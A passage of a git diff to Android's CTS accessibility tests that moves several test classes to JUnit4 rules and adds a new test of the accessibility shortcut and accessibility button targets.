assertTrue("boundsInScreen not properly recycled", bounds.isEmpty());
assertNull("className not properly recycled", info.getClassName());
assertNull("contentDescription not properly recycled", info.getContentDescription());
+ assertNull("stateDescription not properly recycled", info.getStateDescription());
assertNull("tooltiptext not properly recycled", info.getTooltipText());
assertNull("packageName not properly recycled", info.getPackageName());
assertNull("text not properly recycled", info.getText());
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
index 98b87fc..cabfd98 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
@@ -16,18 +16,34 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
import android.view.accessibility.AccessibilityNodeInfo.CollectionInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link CollectionInfo}.
*/
@Presubmit
-public class AccessibilityNodeInfo_CollectionInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfo_CollectionInfoTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@SmallTest
+ @Test
public void testObtain() {
CollectionInfo c;
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
index 4b01129..e7761f4 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
@@ -16,22 +16,36 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertEquals;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityNodeInfo.RangeInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link AccessibilityNodeInfo.RangeInfo}.
*/
@Presubmit
-public class AccessibilityNodeInfo_RangeInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfo_RangeInfoTest {
/** Allowed tolerance for floating point equality comparisons. */
public static final float FLOAT_TOLERANCE = 0.001f;
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
@SmallTest
+ @Test
public void testObtain() {
RangeInfo r;
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
index 0c2a2dd..60bc1a3 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
@@ -16,17 +16,33 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
import android.view.accessibility.AccessibilityNodeProvider;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link AccessibilityNodeProvider}.
*/
@Presubmit
-public class AccessibilityNodeProviderTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeProviderTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
@SmallTest
+ @Test
public void testDefaultBehavior() {
AccessibilityNodeProvider p = new AccessibilityNodeProvider() {
// Class is abstract, but has no abstract methods.
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
index 72bb4e0..119de9f 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
@@ -16,17 +16,23 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.os.Message;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityRecord;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import junit.framework.TestCase;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Iterator;
import java.util.List;
@@ -34,11 +40,18 @@
* Class for testing {@link AccessibilityRecord}.
*/
@Presubmit
-public class AccessibilityRecordTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityRecordTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
/**
* Tests the cloning obtain method.
*/
@SmallTest
+ @Test
public void testObtain() {
AccessibilityRecord originalRecord = AccessibilityRecord.obtain();
fullyPopulateAccessibilityRecord(originalRecord);
@@ -50,6 +63,7 @@
* Tests if {@link AccessibilityRecord}s are properly recycled.
*/
@SmallTest
+ @Test
public void testRecycle() {
// obtain and populate an event
AccessibilityRecord populatedRecord = AccessibilityRecord.obtain();
@@ -84,10 +98,10 @@
TestCase.assertEquals("removedCount not properly recycled", -1, record.getRemovedCount());
TestCase.assertTrue("text not properly recycled", record.getText().isEmpty());
TestCase.assertFalse("scrollable not properly recycled", record.isScrollable());
- TestCase.assertSame("maxScrollX not properly recycled", -1, record.getMaxScrollX());
- TestCase.assertSame("maxScrollY not properly recycled", -1, record.getMaxScrollY());
- TestCase.assertSame("scrollX not properly recycled", -1, record.getScrollX());
- TestCase.assertSame("scrollY not properly recycled", -1, record.getScrollY());
+ TestCase.assertSame("maxScrollX not properly recycled", 0, record.getMaxScrollX());
+ TestCase.assertSame("maxScrollY not properly recycled", 0, record.getMaxScrollY());
+ TestCase.assertSame("scrollX not properly recycled", 0, record.getScrollX());
+ TestCase.assertSame("scrollY not properly recycled", 0, record.getScrollY());
TestCase.assertSame("toIndex not properly recycled", -1, record.getToIndex());
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 0029b53..ada5019 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -16,14 +16,28 @@
package android.view.accessibility.cts;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Service;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
import java.util.List;
/**
@@ -33,18 +47,23 @@
* accessibility service and the fake service used for implementing the UI
* automation is not reported through the APIs.
*/
-public class AccessibilityServiceInfoTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityServiceInfoTest {
- @Override
- public void setUp() throws Exception {
- SpeakingAccessibilityService.enableSelf(getInstrumentation());
- VibratingAccessibilityService.enableSelf(getInstrumentation());
- }
+ private InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
+ mSpeakingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ SpeakingAccessibilityService.class);
- @Override
- public void tearDown() {
- InstrumentedAccessibilityService.disableAllServices(getInstrumentation());
- }
+ private InstrumentedAccessibilityServiceTestRule<VibratingAccessibilityService>
+ mVibratingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ VibratingAccessibilityService.class);
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mVibratingAccessibilityServiceRule)
+ .around(mSpeakingAccessibilityServiceRule)
+ // Inner rule capture failure and dump data before finishing a11y service
+ .around(new AccessibilityDumpOnFailureRule());
/**
* Tests whether a service can that requested it can retrieve
@@ -52,6 +71,7 @@
*/
@MediumTest
@SuppressWarnings("deprecation")
+ @Test
public void testAccessibilityServiceInfoForEnabledService() {
AccessibilityManager accessibilityManager = (AccessibilityManager)
getInstrumentation().getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
@@ -78,8 +98,11 @@
| AccessibilityServiceInfo.CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION
| AccessibilityServiceInfo.CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT);
assertEquals("foo.bar.Activity", speakingService.getSettingsActivityName());
+ assertEquals(R.drawable.size_48x48, speakingService.getAnimatedImageRes());
assertEquals("Some description", speakingService.loadDescription(
getInstrumentation().getContext().getPackageManager()));
+ assertEquals("Some html description", speakingService.loadHtmlDescription(
+ getInstrumentation().getContext().getPackageManager()));
assertEquals("Some summary", speakingService.loadSummary(
getInstrumentation().getContext().getPackageManager()));
assertNotNull(speakingService.getResolveInfo());
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java
new file mode 100644
index 0000000..921a769
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.os.Bundle;
+import android.view.accessibility.cts.R;
+
+/**
+ * The accessibility shortcut target activity.
+ */
+public class AccessibilityShortcutTargetActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.shortcut_target);
+ }
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java
new file mode 100644
index 0000000..5f61cd2
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java
@@ -0,0 +1,458 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
+import static android.accessibility.cts.common.ServiceControlUtils.waitForConditionWithServiceStateChange;
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
+import static android.provider.Settings.Secure.ACCESSIBILITY_SHORTCUT_TARGET_SERVICE;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibility.cts.common.ShellCommandBuilder;
+import android.accessibilityservice.AccessibilityButtonController;
+import android.accessibilityservice.AccessibilityButtonController.AccessibilityButtonCallback;
+import android.accessibilityservice.AccessibilityService;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.app.Service;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.text.TextUtils;
+import android.view.accessibility.AccessibilityManager;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.TestUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Tests accessibility shortcut related functionality
+ */
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityShortcutTest {
+ private static final int ACCESSIBILITY_BUTTON = 0;
+ private static final int ACCESSIBILITY_SHORTCUT_KEY = 1;
+
+ private static final String ACCESSIBILITY_BUTTON_TARGET_COMPONENT =
+ "accessibility_button_target_component";
+
+ private static final char DELIMITER = ':';
+ private static final String[] EMPTY_STRING_ARRAY = new String[0];
+
+ private static Instrumentation sInstrumentation;
+ private static UiAutomation sUiAutomation;
+
+ private final InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ SpeakingAccessibilityService.class, false);
+
+ private final InstrumentedAccessibilityServiceTestRule<AccessibilityButtonService>
+ mA11yButtonServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ AccessibilityButtonService.class, false);
+
+ private final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mA11yButtonServiceRule)
+ .around(mDumpOnFailureRule);
+
+ private Context mTargetContext;
+ private ContentResolver mContentResolver;
+ private AccessibilityManager mAccessibilityManager;
+
+ private ActivityMonitor mActivityMonitor;
+ private Activity mShortcutTargetActivity;
+
+ private String mSpeakingA11yServiceName;
+ private String mShortcutTargetActivityName;
+ private String mA11yButtonServiceName;
+
+ // These are the current shortcut states before doing the tests. Roll back them after the tests.
+ private String[] mA11yShortcutTargets;
+ private String[] mA11yButtonTargets;
+ private List<String> mA11yShortcutTargetList;
+ private List<String> mA11yButtonTargetList;
+
+ @BeforeClass
+ public static void oneTimeSetup() {
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ }
+
+ @AfterClass
+ public static void postTestTearDown() {
+ sUiAutomation.destroy();
+ }
+
+ @Before
+ public void setUp() {
+ mTargetContext = sInstrumentation.getTargetContext();
+ mContentResolver = mTargetContext.getContentResolver();
+ mAccessibilityManager = (AccessibilityManager) mTargetContext.getSystemService(
+ Service.ACCESSIBILITY_SERVICE);
+ mSpeakingA11yServiceName = new ComponentName(mTargetContext,
+ SpeakingAccessibilityService.class).flattenToString();
+ mShortcutTargetActivityName = new ComponentName(mTargetContext,
+ AccessibilityShortcutTargetActivity.class).flattenToString();
+ mA11yButtonServiceName = new ComponentName(mTargetContext,
+ AccessibilityButtonService.class).flattenToString();
+ mActivityMonitor = new ActivityMonitor(
+ AccessibilityShortcutTargetActivity.class.getName(), null, false);
+ sInstrumentation.addMonitor(mActivityMonitor);
+
+ // Reads current shortcut states.
+ readShortcutStates();
+ }
+
+ @After
+ public void tearDown() {
+ if (mActivityMonitor != null) {
+ sInstrumentation.removeMonitor(mActivityMonitor);
+ }
+ if (mShortcutTargetActivity != null) {
+ sInstrumentation.runOnMainSync(() -> mShortcutTargetActivity.finish());
+ }
+
+ // Rollback default shortcut states.
+ if (configureShortcut(ACCESSIBILITY_SHORTCUT_KEY, mA11yShortcutTargets)) {
+ waitForShortcutStateChange(ACCESSIBILITY_SHORTCUT_KEY, mA11yShortcutTargetList);
+ }
+ if (configureShortcut(ACCESSIBILITY_BUTTON, mA11yButtonTargets)) {
+ waitForShortcutStateChange(ACCESSIBILITY_BUTTON, mA11yButtonTargetList);
+ }
+ }
+
+ @Test
+ public void performAccessibilityShortcut_withoutPermission_throwsSecurityException() {
+ try {
+ mAccessibilityManager.performAccessibilityShortcut();
+ fail("No security exception thrown when performing shortcut without permission");
+ } catch (SecurityException e) {
+ // Expected
+ }
+ }
+
+ @Test
+ public void performAccessibilityShortcut_launchAccessibilityService() {
+ configureShortcut(ACCESSIBILITY_SHORTCUT_KEY, mSpeakingA11yServiceName);
+ waitForShortcutStateChange(ACCESSIBILITY_SHORTCUT_KEY,
+ Arrays.asList(mSpeakingA11yServiceName));
+
+ runWithShellPermissionIdentity(sUiAutomation,
+ () -> mAccessibilityManager.performAccessibilityShortcut());
+
+ // Make sure the service starts up
+ final SpeakingAccessibilityService service = mServiceRule.getService();
+ assertTrue("Speaking accessibility service starts up", service != null);
+ }
+
+ @Test
+ public void performAccessibilityShortcut_launchShortcutTargetActivity() {
+ configureShortcut(ACCESSIBILITY_SHORTCUT_KEY, mShortcutTargetActivityName);
+ waitForShortcutStateChange(ACCESSIBILITY_SHORTCUT_KEY,
+ Arrays.asList(mShortcutTargetActivityName));
+
+ runWithShellPermissionIdentity(sUiAutomation,
+ () -> mAccessibilityManager.performAccessibilityShortcut());
+
+ // Make sure the activity starts up
+ mShortcutTargetActivity = mActivityMonitor.waitForActivityWithTimeout(
+ TIMEOUT_SERVICE_ENABLE);
+ assertTrue("Accessibility shortcut target starts up",
+ mShortcutTargetActivity != null);
+ }
+
+ @Test
+ public void performAccessibilityShortcut_withReqA11yButtonService_a11yButtonCallback() {
+ mA11yButtonServiceRule.enableService();
+ configureShortcut(ACCESSIBILITY_SHORTCUT_KEY, mA11yButtonServiceName);
+ waitForShortcutStateChange(ACCESSIBILITY_SHORTCUT_KEY,
+ Arrays.asList(mA11yButtonServiceName));
+
+ performShortcutAndWaitForA11yButtonClicked(mA11yButtonServiceRule.getService());
+ }
+
+ @Test
+ public void getAccessibilityShortcut_withoutPermission_throwsSecurityException() {
+ try {
+ mAccessibilityManager.getAccessibilityShortcutTargets(ACCESSIBILITY_BUTTON);
+ fail("No security exception thrown when get shortcut without permission");
+ } catch (SecurityException e) {
+ // Expected
+ }
+ }
+
+ @Test
+ public void getAccessibilityShortcut_assignedShortcutTarget_returnAssignedTarget() {
+ configureShortcut(ACCESSIBILITY_BUTTON, mSpeakingA11yServiceName);
+ waitForShortcutStateChange(ACCESSIBILITY_BUTTON, Arrays.asList(mSpeakingA11yServiceName));
+ }
+
+ @Test
+ public void getAccessibilityShortcut_multipleTargets_returnMultipleTargets() {
+ configureShortcut(ACCESSIBILITY_BUTTON,
+ mSpeakingA11yServiceName, mShortcutTargetActivityName);
+ waitForShortcutStateChange(ACCESSIBILITY_BUTTON,
+ Arrays.asList(mSpeakingA11yServiceName, mShortcutTargetActivityName));
+ }
+
+ /**
+ * Reads current shortcut states.
+ */
+ private void readShortcutStates() {
+ mA11yShortcutTargets = getComponentIdArray(Settings.Secure.getString(mContentResolver,
+ ACCESSIBILITY_SHORTCUT_TARGET_SERVICE));
+ mA11yButtonTargets = getComponentIdArray(Settings.Secure.getString(mContentResolver,
+ ACCESSIBILITY_BUTTON_TARGET_COMPONENT));
+ runWithShellPermissionIdentity(sUiAutomation, () -> {
+ mA11yShortcutTargetList = mAccessibilityManager
+ .getAccessibilityShortcutTargets(ACCESSIBILITY_SHORTCUT_KEY);
+ mA11yButtonTargetList = mAccessibilityManager
+ .getAccessibilityShortcutTargets(ACCESSIBILITY_BUTTON);
+ });
+ }
+
+ /**
+ * Returns an array of component names by given colon-separated component name string.
+ *
+ * @param componentIds The colon-separated component name string.
+ * @return The array of component names.
+ */
+ @NonNull
+ private String[] getComponentIdArray(String componentIds) {
+ final List<String> nameList = getComponentIdList(componentIds);
+ if (nameList.isEmpty()) {
+ return EMPTY_STRING_ARRAY;
+ }
+ final String[] result = new String[nameList.size()];
+ return nameList.toArray(result);
+ }
+
+ /**
+ * Return a list of component names by given colon-separated component name string.
+ *
+ * @param componentIds The colon-separated component name string.
+ * @return The list.
+ */
+ @NonNull
+ private List<String> getComponentIdList(String componentIds) {
+ final ArrayList<String> componentIdList = new ArrayList<>();
+ if (TextUtils.isEmpty(componentIds)) {
+ return componentIdList;
+ }
+
+ final TextUtils.SimpleStringSplitter splitter =
+ new TextUtils.SimpleStringSplitter(DELIMITER);
+ splitter.setString(componentIds);
+ for (String name : splitter) {
+ if (TextUtils.isEmpty(name)) {
+ continue;
+ }
+ componentIdList.add(name);
+ }
+ return componentIdList;
+ }
+
+ /**
+ * Return a colon-separated component name string by given string array.
+ *
+ * @param componentIds The array of component names.
+ * @return A colon-separated component name string.
+ */
+ @Nullable
+ private String getComponentIdString(String ... componentIds) {
+ final StringBuilder stringBuilder = new StringBuilder();
+ for (String componentId : componentIds) {
+ if (TextUtils.isEmpty(componentId)) {
+ continue;
+ }
+ if (stringBuilder.length() != 0) {
+ stringBuilder.append(DELIMITER);
+ }
+ stringBuilder.append(componentId);
+ }
+
+ if (stringBuilder.length() == 0) {
+ return null;
+ }
+ return stringBuilder.toString();
+ }
+
+ /**
+ * Update the shortcut settings.
+ *
+ * @param shortcutType The shortcut type.
+ * @param newUseShortcutList The component names which use the shortcut.
+ * @return true if the new states updated.
+ */
+ private boolean configureShortcut(int shortcutType, String ... newUseShortcutList) {
+ final String useShortcutList = getComponentIdString(newUseShortcutList);
+ if (shortcutType == ACCESSIBILITY_SHORTCUT_KEY) {
+ return updateAccessibilityShortcut(useShortcutList);
+ } else {
+ return updateAccessibilityButton(useShortcutList);
+ }
+ }
+
+ /**
+ * Update the setting keys of the accessibility shortcut.
+ *
+ * @param newUseShortcutList The value of ACCESSIBILITY_SHORTCUT_TARGET_SERVICE
+ * @return true if the new states updated.
+ */
+ private boolean updateAccessibilityShortcut(String newUseShortcutList) {
+ final ShellCommandBuilder command = ShellCommandBuilder.create(sUiAutomation);
+ final String useShortcutList = Settings.Secure.getString(mContentResolver,
+ ACCESSIBILITY_SHORTCUT_TARGET_SERVICE);
+ boolean changes = false;
+ if (!TextUtils.equals(useShortcutList, newUseShortcutList)) {
+ if (TextUtils.isEmpty(newUseShortcutList)) {
+ command.deleteSecureSetting(ACCESSIBILITY_SHORTCUT_TARGET_SERVICE);
+ } else {
+ command.putSecureSetting(ACCESSIBILITY_SHORTCUT_TARGET_SERVICE, newUseShortcutList);
+ }
+ changes = true;
+ }
+ if (changes) {
+ command.run();
+ }
+ return changes;
+ }
+
+ /**
+ * Update the setting keys of the accessibility button.
+ *
+ * @param newUseShortcutList The value of ACCESSIBILITY_BUTTON_TARGET_COMPONENT
+ * @return true if the new states updated.
+ */
+ private boolean updateAccessibilityButton(String newUseShortcutList) {
+ final ShellCommandBuilder command = ShellCommandBuilder.create(sUiAutomation);
+ final String useShortcutList = Settings.Secure.getString(mContentResolver,
+ ACCESSIBILITY_BUTTON_TARGET_COMPONENT);
+ boolean changes = false;
+ if (!TextUtils.equals(useShortcutList, newUseShortcutList)) {
+ if (TextUtils.isEmpty(newUseShortcutList)) {
+ command.deleteSecureSetting(ACCESSIBILITY_BUTTON_TARGET_COMPONENT);
+ } else {
+ command.putSecureSetting(ACCESSIBILITY_BUTTON_TARGET_COMPONENT, newUseShortcutList);
+ }
+ changes = true;
+ }
+ if (changes) {
+ command.run();
+ }
+ return changes;
+ }
+
+ /**
+ * Waits for the shortcut state changed, and gets current shortcut list is the same with
+ * expected one.
+ *
+ * @param shortcutType The shortcut type.
+ * @param expectedList The expected shortcut targets returned from
+ * {@link AccessibilityManager#getAccessibilityShortcutTargets(int)}.
+ */
+ private void waitForShortcutStateChange(int shortcutType, List<String> expectedList) {
+ final StringBuilder message = new StringBuilder();
+ if (shortcutType == ACCESSIBILITY_SHORTCUT_KEY) {
+ message.append("Accessibility Shortcut, ");
+ } else {
+ message.append("Accessibility Button, ");
+ }
+ message.append("expect:").append(expectedList);
+ runWithShellPermissionIdentity(sUiAutomation, () ->
+ waitForConditionWithServiceStateChange(mTargetContext, () -> {
+ final List<String> currentShortcuts =
+ mAccessibilityManager.getAccessibilityShortcutTargets(shortcutType);
+ if (currentShortcuts.size() != expectedList.size()) {
+ return false;
+ }
+ for (String expect : expectedList) {
+ if (!currentShortcuts.contains(expect)) {
+ return false;
+ }
+ }
+ return true;
+ }, TIMEOUT_SERVICE_ENABLE, message.toString()));
+ }
+
+ /**
+ * Perform shortcut and wait for accessibility button clicked call back.
+ *
+ * @param service The accessibility service
+ */
+ private void performShortcutAndWaitForA11yButtonClicked(AccessibilityService service) {
+ final AtomicBoolean clicked = new AtomicBoolean();
+ final AccessibilityButtonCallback callback = new AccessibilityButtonCallback() {
+ @Override
+ public void onClicked(AccessibilityButtonController controller) {
+ synchronized (clicked) {
+ clicked.set(true);
+ clicked.notifyAll();
+ }
+ }
+
+ @Override
+ public void onAvailabilityChanged(AccessibilityButtonController controller,
+ boolean available) {
+ /* do nothing */
+ }
+ };
+ try {
+ service.getAccessibilityButtonController()
+ .registerAccessibilityButtonCallback(callback);
+ runWithShellPermissionIdentity(sUiAutomation,
+ () -> mAccessibilityManager.performAccessibilityShortcut());
+ TestUtils.waitOn(clicked, () -> clicked.get(), TIMEOUT_SERVICE_ENABLE,
+ "Wait for a11y button clicked");
+ } finally {
+ service.getAccessibilityButtonController()
+ .unregisterAccessibilityButtonCallback(callback);
+ }
+ }
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
index e959544..9d4ecd7 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
@@ -16,21 +16,43 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.graphics.Rect;
+import android.graphics.Region;
import android.os.Parcel;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
import android.text.TextUtils;
+import android.view.Display;
import android.view.accessibility.AccessibilityWindowInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link AccessibilityWindowInfo}.
*/
@Presubmit
-public class AccessibilityWindowInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityWindowInfoTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@SmallTest
+ @Test
public void testObtain() {
AccessibilityWindowInfo w1 = AccessibilityWindowInfo.obtain();
assertNotNull(w1);
@@ -41,6 +63,7 @@
}
@SmallTest
+ @Test
public void testParceling() {
Parcel parcel = Parcel.obtain();
AccessibilityWindowInfo w1 = AccessibilityWindowInfo.obtain();
@@ -48,11 +71,12 @@
parcel.setDataPosition(0);
AccessibilityWindowInfo w2 = AccessibilityWindowInfo.CREATOR.createFromParcel(parcel);
assertNotSame(w1, w2);
- assertTrue(areWindowsEqual(w1, w2));
+ assertTrue(w2.toString(), areWindowsEqual(w1, w2));
parcel.recycle();
